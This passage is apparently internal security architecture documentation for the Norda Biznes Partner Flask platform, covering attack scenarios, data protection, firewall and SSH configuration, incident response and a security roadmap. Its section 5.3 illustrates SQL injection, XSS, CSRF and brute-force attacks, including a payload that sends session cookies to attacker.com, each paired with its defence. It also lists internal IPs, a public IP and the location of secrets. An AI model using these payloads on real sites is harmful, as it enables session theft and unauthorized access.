**PostgreSQL (10.22.68.249:5432):**
- **Binding:** Localhost only (127.0.0.1)
- **Authentication:** Password-based (pg_hba.conf)
- **Encryption:** SSL/TLS for connections (planned)

**Attack Vectors:**
- SQL injection: **Mitigated** (SQLAlchemy ORM)
- Unauthorized access: **Mitigated** (localhost binding, password auth)
- Data breach: **Partially mitigated** (no database encryption at rest)

**Vulnerabilities:**
- ❌ No database encryption at rest
- ❌ No database activity auditing
- ❌ No automated backup verification

#### 5.2.5 API Attack Surface (External APIs)

**Outbound API Calls:**
- Google Gemini AI, PageSpeed Insights, Places API
- Microsoft Graph API
- Brave Search API
- KRS Open API

**Attack Vectors:**
- API key theft: **Mitigated** (.env files, HTTPS only)
- Man-in-the-middle: **Mitigated** (HTTPS/TLS 1.2+)
- API quota abuse: **Mitigated** (rate limiting, cost tracking)

**Vulnerabilities:**
- ❌ API keys stored in plaintext (.env files)
- ❌ No API key rotation policy
- ❌ No secrets vault (e.g., HashiCorp Vault)

### 5.3 Common Attack Scenarios

#### 5.3.1 SQL Injection Attack

**Attack:**
```python
# Attacker input: email = "admin' OR '1'='1"
# UNSAFE query (NOT USED in our app):
# query = f"SELECT * FROM users WHERE email = '{email}'"
# Result: Returns all users (authentication bypass)
```

**Defense:**
```python
# ✅ SAFE: SQLAlchemy parameterized query
user = db.query(User).filter(User.email == email).first()
# SQLAlchemy escapes special characters automatically
```

**Status:** ✅ Mitigated (no raw SQL concatenation)

#### 5.3.2 XSS Attack

**Attack:**
```html
<!-- Attacker input: forum post = "<script>alert(document.cookie)</script>" -->
<!-- UNSAFE rendering (NOT USED in our app): -->
<!-- {{ user_post }} (unescaped) -->
<!-- Result: Executes JavaScript, steals cookies -->
```

**Defense:**
```python
# Input sanitization (before storage)
sanitized_post = sanitize_input(user_post)  # Strips <script> tags

# Jinja2 auto-escaping (at rendering)
{{ user_post }}  # Automatically escapes HTML entities
```

**Status:** ✅ Mitigated (sanitization + auto-escaping)

#### 5.3.3 CSRF Attack

**Attack:**
```html
<!-- Attacker's malicious website -->
<form action="https://nordabiznes.pl/admin/users/5/delete" method="POST">
    <input type="submit" value="Click for prize!">
</form>
<!-- When admin clicks, their session cookie is sent, deleting user #5 -->
```

**Defense:**
```python
# Flask-WTF CSRF protection (automatic)
# All POST requests require valid CSRF token
@app.route('/admin/users/<id>/delete', methods=['POST'])
@login_required
def delete_user(id):
    # CSRF token is validated before this code runs
    if not current_user.is_admin:
        abort(403)

    # Delete user logic
    pass
```

**Status:** ✅ Mitigated (Flask-WTF CSRF tokens)

#### 5.3.4 Brute Force Attack

**Attack:**
```python
# Attacker script: Try 10,000 passwords for admin@nordabiznes.pl
for password in password_list:
    response = requests.post('https://nordabiznes.pl/login', data={
        'email': 'admin@nordabiznes.pl',
        'password': password
    })
```

**Defense:**
```python
# Rate limiting: 5 login attempts per hour
@app.route('/login', methods=['POST'])
@limiter.limit("5 per hour")
def login():
    # Login logic
    pass
```

**Status:** ✅ Mitigated (rate limiting)

**Additional Defenses (Future):**
- ❌ Account lockout after N failed attempts
- ❌ CAPTCHA on login form
- ❌ 2FA for admin accounts

#### 5.3.5 Session Hijacking

**Attack:**
```javascript
// Attacker's XSS payload (if XSS exists)
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
```

**Defense:**
```python
# Session cookie security flags
app.config['SESSION_COOKIE_HTTPONLY'] = True  # No JS access to cookies
app.config['SESSION_COOKIE_SECURE'] = True    # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
```

**Status:** ✅ Mitigated (secure cookies + HTTPS)

---

## 6. Data Security

### 6.1 Data Classification

| Data Category | Sensitivity | Storage | Protection |
|---------------|-------------|---------|------------|
| **Public Company Data** | Public | PostgreSQL | None (publicly accessible) |
| **User Accounts** | Confidential | PostgreSQL | Password hashing, HTTPS |
| **Password Hashes** | Secret | PostgreSQL | PBKDF2:SHA256 (salted) |
| **Session Cookies** | Secret | Browser + Server | Encrypted, HttpOnly, Secure |
| **API Keys** | Secret | .env files | File permissions (600), HTTPS |
| **Email Addresses** | PII | PostgreSQL | HTTPS, access control |
| **Chat Messages** | Confidential | PostgreSQL | HTTPS, access control |
| **Forum Posts** | Public | PostgreSQL | Moderation |
| **Private Messages** | Confidential | PostgreSQL | HTTPS, sender/receiver validation |
| **Audit Reports** | Public | PostgreSQL | None (publicly accessible) |
| **Admin Logs** | Confidential | PostgreSQL | Admin-only access |

### 6.2 Data Encryption

**Encryption in Transit:**
- ✅ HTTPS/TLS 1.2+ for all external communication
- ✅ Let's Encrypt certificates (auto-renewal)
- ✅ HSTS enforcement (max-age=31536000)
- ❌ Internal communication (NPM → Flask) is HTTP (same network)

**Encryption at Rest:**
- ❌ PostgreSQL database is NOT encrypted at rest
- ❌ .env files are NOT encrypted (plaintext secrets)
- ❌ Session cookies are encrypted (Flask built-in)

**Future Improvements:**
- ⚠️ Enable PostgreSQL transparent data encryption (TDE)
- ⚠️ Use secrets vault (HashiCorp Vault, AWS Secrets Manager)
- ⚠️ Encrypt backups before storing

### 6.3 Data Retention & Deletion

**Retention Policies:**
- **User accounts:** Indefinite (until user requests deletion)
- **Chat messages:** Indefinite
- **Forum posts:** Indefinite (with soft delete)
- **Private messages:** Indefinite (until sender/receiver deletes)
- **Audit reports:** 90 days (automatic cleanup via cron job - planned)
- **Session cookies:** 7 days (automatic expiry)
- **Verification tokens:** 24 hours (email verification)
- **Password reset tokens:** 1 hour

**Data Deletion:**
- ❌ No GDPR "right to be forgotten" implementation
- ❌ No cascade deletion policy (orphaned records)
- ❌ No audit log retention policy

**Future Improvements:**
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add cascade deletion for user accounts
- ⚠️ Create audit log retention policy (keep 1 year, then archive)

### 6.4 Sensitive Data Handling

**PII (Personally Identifiable Information):**
- Email addresses (users table)
- Names (users table)
- Phone numbers (users table, company_contacts table)
- Company NIP (companies table)

**Handling:**
- ✅ HTTPS for all PII transmission
- ✅ Access control (authenticated users only)
- ❌ No PII encryption at rest
- ❌ No PII masking in logs

**Logging:**
- ✅ Passwords are NEVER logged
- ✅ API keys are NEVER logged
- ⚠️ Email addresses may appear in logs (sanitization needed)

---

## 7. API Security

### 7.1 External API Integrations

**API Security Matrix:**

| API | Authentication | Rate Limit | Cost | Security Controls |
|-----|----------------|------------|------|-------------------|
| **Google Gemini AI** | API Key | 1,500 req/day (free) | $0 (free tier) | HTTPS, key in .env, cost tracking |
| **Google PageSpeed Insights** | API Key | 25,000 req/day (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| **Google Places API** | API Key | Varies | Pay-per-use | HTTPS, key in .env, cost tracking |
| **Microsoft Graph API** | OAuth 2.0 | Varies | $0 (Exchange Online included) | HTTPS, client secret in .env, token refresh |
| **Brave Search API** | API Key | 2,000 req/month (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| **KRS Open API** | None (public) | None | $0 | HTTPS only |

### 7.2 API Key Management

**Storage:**
- **Location:** `.env` file
- **Permissions:** 600 (owner read/write only)
- **Owner:** www-data (Flask app user)

**Best Practices:**
- ✅ API keys in .env (not hardcoded)
- ✅ .env in .gitignore (never committed)
- ✅ HTTPS for all API calls
- ❌ No API key rotation policy
- ❌ No secrets vault integration

**API Key Rotation:**
- Manual process (no automation)
- No versioning (immediate switch)
- Downtime risk (if key is rotated without updating .env)

**Future Improvements:**
- ⚠️ Implement secrets vault (HashiCorp Vault)
- ⚠️ Add API key rotation workflow
- ⚠️ Use short-lived API tokens (where supported)

### 7.3 API Rate Limiting & Cost Control

**Client-Side Rate Limiting:**
```python
# Example: Gemini API cost tracking
@limiter.limit("30 per minute")
@app.route('/api/chat/<id>/message', methods=['POST'])
@login_required
def send_chat_message(id):
    # ... generate AI response ...

    # Track API cost in database
    cost_log = AIAPICostLog(
        api_name='gemini',
        model_name='gemini-3-flash-preview',
        input_tokens=len(prompt),
        output_tokens=len(response),
        cost_usd=0.0,  # Free tier
        endpoint='/api/chat'
    )
    db.add(cost_log)
    db.commit()
```

**Rate Limiting Strategy:**
- **Client-side:** Flask-Limiter (prevent abuse)
- **Server-side:** API provider rate limits (enforced by provider)

**Cost Monitoring:**
- ✅ Database logging (ai_api_costs table)
- ✅ Admin dashboard (`/admin/chat-analytics`)
- ❌ No alerting on cost overruns
- ❌ No automatic shutdown on quota exceeded

**Free Tier Monitoring:**
- Gemini: 1,500 requests/day (current usage: ~50/day)
- PageSpeed: 25,000 requests/day (current usage: ~10/day)
- Brave: 2,000 requests/month (current usage: ~50/month)

### 7.4 OAuth 2.0 Security (Microsoft Graph)

**Authentication Flow:**
1. Application obtains client credentials (CLIENT_ID, CLIENT_SECRET)
2. Application requests access token from Microsoft
3. Access token used to send emails via Graph API
4. Token expires after 1 hour (automatic refresh)

**Security Controls:**
- ✅ Client secret stored in .env
- ✅ HTTPS for all OAuth requests
- ✅ Access token stored in memory (not database)
- ✅ Token expiry enforcement (1 hour)
- ❌ No token revocation on logout

**Permissions Granted:**
- `Mail.Send` (application permission, not delegated)
- Allows sending email as noreply@nordabiznes.pl
- No user impersonation (application-only auth)

---

## 8. Infrastructure Security

### 8.1 Network Security

**Firewall Configuration (Fortigate):**
```
# Inbound rules
allow tcp/443 from ANY to 10.22.68.250          # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250           # HTTP to NPM
allow tcp/22 from ADMIN_NET to 10.22.68.249     # SSH (admin only)
deny all from ANY to ANY                        # Default deny

# Outbound rules
allow tcp/443 from 10.22.68.249 to ANY          # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY           # HTTP (rare)
deny all from 10.22.68.250 to ANY               # NPM cannot initiate outbound
```

**NAT Rules:**
```
# Public IP → DMZ (reverse proxy)
85.237.177.83:443 → 10.22.68.250:443
85.237.177.83:80  → 10.22.68.250:80
```

**Network Segmentation:**
- **DMZ Zone:** 10.22.68.250 (NPM only)
- **Application Zone:** 10.22.68.249 (Flask + PostgreSQL)
- **Internal Services:** 10.22.68.180 (Git server)

**Network Security Best Practices:**
- ✅ Default deny firewall policy
- ✅ Network segmentation (DMZ vs App zone)
- ✅ NAT for public access (no direct Internet to app server)
- ❌ No IDS/IPS (Intrusion Detection/Prevention System)
- ❌ No network traffic monitoring (future improvement)

### 8.2 SSH Access Control

**SSH Configuration:**
- **Port:** 22 (default)
- **Access:** Restricted to ADMIN_NET (firewall rule)
- **Authentication:** SSH key-based (password auth disabled)
- **Users:** maciejpi (primary admin), www-data (app deployment)

**SSH Hardening:**
```bash
# /etc/ssh/sshd_config
PermitRootLogin no                    # Disable root login
PasswordAuthentication no             # Key-based auth only
PubkeyAuthentication yes              # Allow SSH keys
X11Forwarding no                      # Disable X11
AllowUsers maciejpi www-data          # Whitelist users
```

**SSH Key Management:**
- ✅ SSH keys stored on admin workstations (not on server)
- ✅ Unique SSH keys per user
- ❌ No SSH key rotation policy
- ❌ No centralized SSH key management

### 8.3 Server Hardening

**Operating System:**
- Ubuntu Server 22.04 LTS (long-term support)
- Automatic security updates enabled

**Installed Services:**
- ✅ Flask/Gunicorn (application server)
- ✅ PostgreSQL (database)
- ✅ Nginx (system default, minimal use)
- ✅ SSH (remote administration)

**Unnecessary Services Disabled:**
- ✅ No FTP server
- ✅ No Telnet
- ✅ No SNMP (if not needed for monitoring)

**File Permissions:**
```bash
# Application directory
/var/www/nordabiznes/         # Owner: www-data, Mode: 755
/var/www/nordabiznes/.env     # Owner: www-data, Mode: 600 (secrets)
/var/www/nordabiznes/app.py   # Owner: www-data, Mode: 644

# Database directory
/var/lib/postgresql/          # Owner: postgres, Mode: 700
```

**User Separation:**
- **www-data:** Flask application (limited privileges)
- **postgres:** PostgreSQL database (limited privileges)
- **maciejpi:** Admin user (sudo access)

### 8.4 Database Security

**PostgreSQL Configuration:**
```bash
# /etc/postgresql/14/main/postgresql.conf
listen_addresses = 'localhost'        # Bind to 127.0.0.1 only
max_connections = 100                 # Limit concurrent connections
ssl = on                              # Enable SSL (planned)
ssl_cert_file = '/path/to/cert.pem'   # SSL certificate (planned)
ssl_key_file = '/path/to/key.pem'     # SSL private key (planned)
```

**Authentication (pg_hba.conf):**
```bash
# TYPE  DATABASE        USER            ADDRESS                 METHOD
local   all             postgres                                peer
local   nordabiz        nordabiz_app                            md5
host    nordabiz        nordabiz_app    127.0.0.1/32            md5
host    all             all             0.0.0.0/0               reject  # Deny remote
```

**Database Users:**
- **postgres:** Superuser (local admin only)
- **nordabiz_app:** Application user (limited to nordabiz database)

**Database Permissions:**
```sql
-- nordabiz_app user permissions
GRANT CONNECT ON DATABASE nordabiz TO nordabiz_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO nordabiz_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO nordabiz_app;
```

**Database Backups:**
- **Frequency:** Daily (via Proxmox snapshots)
- **Retention:** 7 days (rolling)
- **Encryption:** ❌ Not encrypted
- **Offsite:** ❌ Not implemented

---

## 9. Security Monitoring

### 9.1 Logging

**Application Logs:**
```python
# app.py logging configuration
import logging

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('/var/log/nordabiznes/app.log'),
        logging.StreamHandler()
    ]
)
```

**Log Levels:**
- **INFO:** Normal operations (user login, API calls)
- **WARNING:** Unexpected events (rate limit exceeded, API errors)
- **ERROR:** Application errors (database connection failed, external API timeout)
- **CRITICAL:** System failures (database crash, service unavailable)

**Logged Events:**
- ✅ User authentication (login, logout, failed login)
- ✅ Admin actions (user management, audit scans)
- ✅ API calls (Gemini, PageSpeed, etc.)
- ✅ Database errors
- ❌ CSRF token violations (not logged)
- ❌ Rate limit violations (not logged)

**Log Storage:**
- **Location:** `/var/log/nordabiznes/app.log`
- **Rotation:** Daily (via logrotate)
- **Retention:** 30 days
- **Permissions:** 640 (owner read/write, group read)

### 9.2 Monitoring & Alerting

**Health Checks:**
```python
@app.route('/health')
def health():
    """Health check endpoint for monitoring"""
    try:
        # Check database connection
        db.execute(text("SELECT 1"))
        return jsonify({"status": "healthy", "database": "ok"}), 200
    except Exception as e:
        return jsonify({"status": "unhealthy", "error": str(e)}), 500
```

**Monitoring Tools:**
- ❌ No Zabbix integration (planned)
- ❌ No uptime monitoring (planned)
- ❌ No performance monitoring (APM)

**Alerts:**
- ❌ No alerting on service downtime
- ❌ No alerting on database errors
- ❌ No alerting on API quota exceeded
- ❌ No alerting on security events (failed logins, CSRF violations)

**Future Improvements:**
- ⚠️ Implement Zabbix monitoring (service uptime, resource usage)
- ⚠️ Add alerting on critical errors (email or Slack)
- ⚠️ Implement security event logging (SIEM integration)

### 9.3 Audit Trails

**Database Audit Fields:**
```sql
-- All tables include:
created_at TIMESTAMP DEFAULT NOW()       -- Creation timestamp
updated_at TIMESTAMP DEFAULT NOW()       -- Last update timestamp

-- User actions include:
created_by INTEGER REFERENCES users(id)  -- Creator (forum posts, messages)
moderated_by INTEGER                     -- Moderator (admin actions)
moderated_at TIMESTAMP                   -- Moderation timestamp
```

**Auditable Events:**
- ✅ User registration (created_at)
- ✅ User login (last_login)
- ✅ Forum post creation (created_at, author_id)
- ✅ Admin actions (moderated_by, moderated_at)
- ✅ Audit scans (audited_at)
- ❌ Password changes (not logged)
- ❌ Permission changes (not logged)
- ❌ Failed login attempts (not logged)

**Audit Log Retention:**
- ❌ No dedicated audit log table
- ❌ No audit log retention policy
- ❌ No audit log archival

---

## 10. Incident Response

### 10.1 Incident Response Plan

**Incident Categories:**
1. **Security Breach** (unauthorized access, data leak)
2. **Service Outage** (application down, database crash)
3. **Performance Degradation** (slow response, high CPU)
4. **API Abuse** (quota exceeded, cost overrun)

**Response Workflow:**
```mermaid
graph LR
    Detect["🔍 Detect<br/>Incident"] --> Assess["📊 Assess<br/>Severity"]
    Assess --> Contain["🛡️ Contain<br/>Threat"]
    Contain --> Investigate["🔎 Investigate<br/>Root Cause"]
    Investigate --> Remediate["🔧 Remediate<br/>Issue"]
    Remediate --> Document["📝 Document<br/>Incident"]
    Document --> Review["🔄 Post-Mortem<br/>Review"]

    style Detect fill:#f59e0b,color:#fff
    style Contain fill:#ef4444,color:#fff
    style Remediate fill:#10b981,color:#fff
```

### 10.2 Incident Response Procedures

#### 10.2.1 Security Breach

**Detection:**
- Unusual database activity
- Failed login attempts spike
- Unauthorized admin actions
- API key usage anomalies

**Containment:**
```bash
# 1. Disable affected user accounts
sudo -u postgres psql nordabiz -c "UPDATE users SET is_active = FALSE WHERE id = <user_id>;"

# 2. Rotate API keys immediately
# Edit .env file with new keys
vim /var/www/nordabiznes/.env

# 3. Restart application
sudo systemctl restart nordabiznes

# 4. Review access logs
sudo journalctl -u nordabiznes --since "1 hour ago" | grep -i "failed\|error\|unauthorized"
```

**Investigation:**
- Check application logs (`/var/log/nordabiznes/app.log`)
- Check database audit trails (`SELECT * FROM users WHERE updated_at > NOW() - INTERVAL '1 hour'`)
- Check NPM access logs (NPM admin UI)

**Remediation:**
- Reset passwords for compromised accounts
- Review and tighten access controls
- Patch vulnerabilities (if found)
- Notify affected users (if PII exposed)

#### 10.2.2 Service Outage

**Detection:**
- Health check endpoint returns 500
- Users report "site is down"
- NPM shows "502 Bad Gateway"

**Diagnosis:**
```bash
# 1. Check application status
sudo systemctl status nordabiznes

# 2. Check database status
sudo systemctl status postgresql

# 3. Check NPM status (on 10.22.68.250)
ssh maciejpi@10.22.68.250
docker ps | grep npm

# 4. Check network connectivity
ping 10.22.68.249
curl http://10.22.68.249:5000/health
```

**Recovery:**
```bash
# 1. Restart Flask/Gunicorn
sudo systemctl restart nordabiznes

# 2. Restart PostgreSQL (if needed)
sudo systemctl restart postgresql

# 3. Restart NPM (if needed, on 10.22.68.250)
docker restart <npm-container-id>
```

**Post-Recovery:**
- Document incident in `docs/INCIDENT_REPORT_YYYYMMDD.md`
- Review logs for root cause
- Implement preventive measures

### 10.3 Incident History

**Past Incidents:**
1. **2026-01-02: ERR_TOO_MANY_REDIRECTS**
   - **Cause:** NPM proxy forwarding to port 80 instead of 5000
   - **Impact:** Site inaccessible for 2 hours
   - **Resolution:** Changed NPM forward port to 5000
   - **Documentation:** [INCIDENT_REPORT_20260102.md](../INCIDENT_REPORT_20260102.md)

**Lessons Learned:**
- Document critical configurations (port mappings) in architecture docs
- Add verification steps after NPM configuration changes
- Implement monitoring to detect redirect loops

---

## 11. Compliance & Best Practices

### 11.1 Security Standards Compliance

**OWASP Top 10 Compliance:**

| OWASP Risk | Status | Mitigation |
|------------|--------|------------|
| **A01: Broken Access Control** | ✅ Mitigated | Flask-Login, admin flag validation |
| **A02: Cryptographic Failures** | ⚠️ Partial | HTTPS (transit), no encryption at rest |
| **A03: Injection** | ✅ Mitigated | SQLAlchemy ORM, input sanitization |
| **A04: Insecure Design** | ⚠️ Partial | Security controls in place, no formal threat model |
| **A05: Security Misconfiguration** | ⚠️ Partial | Secure defaults, but no CSP |
| **A06: Vulnerable Components** | ⚠️ Partial | Dependencies updated, no automated scanning |
| **A07: Identification & Auth Failures** | ✅ Mitigated | Email verification, password complexity, rate limiting |
| **A08: Software & Data Integrity** | ⚠️ Partial | No code signing, no SBOM |
| **A09: Security Logging & Monitoring** | ❌ Not Compliant | Basic logging, no SIEM |
| **A10: Server-Side Request Forgery** | ✅ Mitigated | No user-controlled URLs in backend requests |

### 11.2 GDPR Compliance

**Personal Data Processing:**
- ✅ Privacy policy (should be published)
- ✅ User consent (registration form)
- ❌ Right to access (not implemented)
- ❌ Right to deletion (not implemented)
- ❌ Right to portability (not implemented)
- ❌ Breach notification (no procedure)

**Data Protection:**
- ✅ HTTPS encryption (in transit)
- ❌ Database encryption (at rest)
- ❌ Data minimization (collect only necessary data)

**Future Improvements:**
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add privacy policy page
- ⚠️ Add data export functionality
- ⚠️ Implement breach notification procedure

### 11.3 Security Best Practices Checklist

**Application Security:**
- ✅ Input validation and sanitization
- ✅ SQL injection prevention (ORM)
- ✅ XSS prevention (auto-escaping)
- ✅ CSRF protection
- ✅ Password hashing (PBKDF2:SHA256)
- ✅ Secure session management
- ✅ Rate limiting
- ❌ Content Security Policy (CSP)
- ❌ Subresource Integrity (SRI)

**Infrastructure Security:**
- ✅ Firewall (Fortigate)
- ✅ Network segmentation (DMZ, App, Data zones)
- ✅ SSH key-based authentication
- ✅ Principle of least privilege (www-data user)
- ❌ IDS/IPS
- ❌ DDoS protection (beyond Fortigate)

**Operational Security:**
- ✅ Secrets in .env (not hardcoded)
- ✅ HTTPS/TLS 1.2+
- ✅ Automatic security updates
- ❌ Secrets vault (HashiCorp Vault)
- ❌ API key rotation
- ❌ Security scanning (SAST/DAST)

**Monitoring & Response:**
- ✅ Application logging
- ✅ Health check endpoint
- ❌ Security event monitoring
- ❌ Alerting on critical events
- ❌ Incident response plan (documented but not tested)

---

## 12. Security Roadmap

### 12.1 High Priority (Next 3 Months)

1. **Implement Content Security Policy (CSP)**
   - Define CSP policy
   - Test with report-only mode
   - Deploy to production
   - **Impact:** Prevent XSS attacks

2. **Add Account Lockout After Failed Login Attempts**
   - Implement lockout after 5 failed attempts
   - Add admin unlock functionality
   - **Impact:** Prevent brute force attacks

3. **Implement Security Event Logging**
   - Log failed login attempts
   - Log CSRF token violations
   - Log rate limit violations
   - Log admin actions
   - **Impact:** Detect security incidents

4. **Set Up Monitoring & Alerting**
   - Integrate with Zabbix
   - Add uptime monitoring
   - Add email alerts for downtime
   - **Impact:** Faster incident response

### 12.2 Medium Priority (3-6 Months)

5. **Implement 2FA for Admin Accounts**
   - Add TOTP (Time-Based One-Time Password)
   - Require 2FA for all admin users
   - **Impact:** Prevent admin account compromise

6. **Add Audit Log Table**
   - Create dedicated audit log table
   - Log all admin actions
   - Implement audit log retention policy
   - **Impact:** Compliance, forensics

7. **Implement GDPR Data Deletion Workflow**
   - Add "Delete My Account" functionality
   - Cascade deletion of user data
   - Generate data export (JSON)
   - **Impact:** GDPR compliance

8. **Enable PostgreSQL Encryption at Rest**
   - Enable transparent data encryption (TDE)
   - Encrypt database backups
   - **Impact:** Data breach protection

### 12.3 Low Priority (6-12 Months)

9. **Migrate to Secrets Vault**
   - Evaluate HashiCorp Vault vs AWS Secrets Manager
   - Migrate API keys to vault
   - Implement key rotation
   - **Impact:** Improved secrets management

10. **Implement Automated Security Scanning**
    - Add SAST (Static Application Security Testing)
    - Add DAST (Dynamic Application Security Testing)
    - Add dependency scanning (Snyk, Dependabot)
    - **Impact:** Proactive vulnerability detection

11. **Add Row-Level Security (RLS)**
    - Implement ownership checks on all resources
    - Prevent IDOR vulnerabilities
    - **Impact:** Prevent unauthorized data access

12. **Implement SIEM Integration**
    - Evaluate SIEM solutions (Wazuh, Splunk, ELK)
    - Forward logs to SIEM
    - Create security dashboards
    - **Impact:** Advanced threat detection

---

## 13. Related Documentation

### 13.1 Architecture Documents

- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
- [Container Diagram](02-container-diagram.md) - Application security boundaries
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management
- [HTTP Request Flow](flows/06-http-request-flow.md) - Request path and security layers

### 13.2 Code Files

**Authentication & Authorization:**
- `app.py` (lines ~3077-3500) - Authentication routes
- `database.py` (lines ~119-158) - User model

**Security Utilities:**
- `app.py` - `sanitize_input()`, `validate_email()`, `validate_password()`

**Email Service:**
- `email_service.py` - Microsoft Graph email integration

### 13.3 External References

- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
- [Flask Security Best Practices](https://flask.palletsprojects.com/en/2.3.x/security/)
- [PostgreSQL Security](https://www.postgresql.org/docs/current/security.html)

---

## 14. Maintenance & Updates

### 14.1 When to Update This Document

Update this document when:
- New security controls are implemented
- Security vulnerabilities are discovered and patched
- Authentication/authorization model changes
- External APIs are added or removed
- Infrastructure security configuration changes
- Compliance requirements change (GDPR, OWASP)

### 14.2 Security Audit Checklist

Periodic security audit (quarterly):
- [ ] Review user permissions and admin accounts
- [ ] Check for unused API keys
- [ ] Review firewall rules
- [ ] Verify SSL/TLS certificates are valid
- [ ] Check for outdated dependencies (`pip list --outdated`)
- [ ] Review application logs for anomalies
- [ ] Test authentication flows (login, registration, password reset)
- [ ] Verify CSRF protection on all forms
- [ ] Check rate limiting effectiveness
- [ ] Review database backup integrity
- [ ] Test incident response procedures
- [ ] Update security roadmap

### 14.3 Security Training

Recommended training for team members:
- OWASP Top 10 awareness
- Secure coding practices
- Incident response procedures
- GDPR compliance basics
- Password policy enforcement

---

**Document End**

*This document is maintained as part of the Norda Biznes Partner architecture documentation. For questions or updates, contact the development team.*
